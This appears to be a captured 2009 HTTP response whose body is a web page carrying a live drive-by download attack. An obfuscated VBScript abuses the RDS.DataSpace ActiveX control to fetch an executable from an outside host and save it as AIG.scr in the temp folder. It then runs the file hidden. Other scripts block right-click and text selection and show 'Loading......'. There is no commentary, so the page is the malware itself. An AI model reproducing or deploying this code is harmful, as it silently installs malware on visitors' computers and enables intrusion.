HTTP/1.1 200 OK
Connection: close
Date: Sun, 30 Aug 2009 15:56:10 GMT
Content-Length: 1789
Content-Type: text/html
Last-Modified: Thu, 30 Jul 2009 09:30:28 GMT
Accept-Ranges: bytes
ETag: "24f1f60f810ca1:5d6cb"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
<html>
<script language="VBScript">
on error resume next
Cuteurl = "http://www.yaplogjp.com/Blog/c.exe"
Cute="o"&"bj"&"ec"&"t"
Cute2="c"&"la"&"s"&"si"&"d"
evil="C"&"5"&"5"&"6"&"-"&"6"&"5"&"A"&"3"&"-"
evils="c"&"l"&"si"&"d"&":"&"B"&"D9"&"6"
evilx=evils & evil &"1"&"1"&"D"&"0"&"-"&"9"&"8"&"3"&"A"&"-"&"0"&"0"&"C"&"0"&"4"&"F"&"C"&"2"&"9"&"E"&"3"&"6"
Cute3="M"&"ic"&"ro"&"so"&"ft"&".X"&"M"&"L"&"HT"&"T"&"P"
Cute4="Shell.Application"
Cute5="Sc"&"ri"&"p"&"ti"&"n"&"g.Fi"&"l"&"eSys"&"tem"&"Ob"&"je"&"ct"
Set evilcute = document.createElement(Cute)
sub usicecod(Cute4,Cutex)
set evilcutes = evilcute.createobject(Cute4,"")
evilcutes.ShEllExecutE evilcutex,"","","o"&"p"&"e"&"n",0
end sub
evilcute.setAttribute Cute2, evilx
chilam=Cute3
Set wing = evilcute.CreateObject(chilam,"")
Anhey="A"&"d"&"o"&"d"&"b"&"."
Anheys="S"&"t"&"r"
Anheyx="e"&"a"&"m"
Anti = Anhey & Anheys & Anheyx
Antivirus = Anti
set Rising = evilcute.createobject(Antivirus,"")
Rising.type = 1
Kaspersky="G"&"E"&"T"
wing.Open Kaspersky, Cuteurl, False
wing.Send
evilcutex="AIG.scr"
SeT Virus = evilcute.createobject(Cute5,"")
sET evilcutes = Virus.GetSpecialFolder(2)
Rising.open
evilcutex= Virus.BuildPath(evilcutes,evilcutex)
Rising.write wing.responseBody
Rising.savetofile evilcutex,2
Rising.close
call usicecod(Cute4,Cutex)
</script>
</html>
<script langauge="javasript">document.oncontextmenu=new Function('event.returnValue=false;');document.onselectstart=new Function('event.returnValue=false;');</script>
<script type="text/jscript">function init() { document.write("Loading......");}window.onload = init;</script> |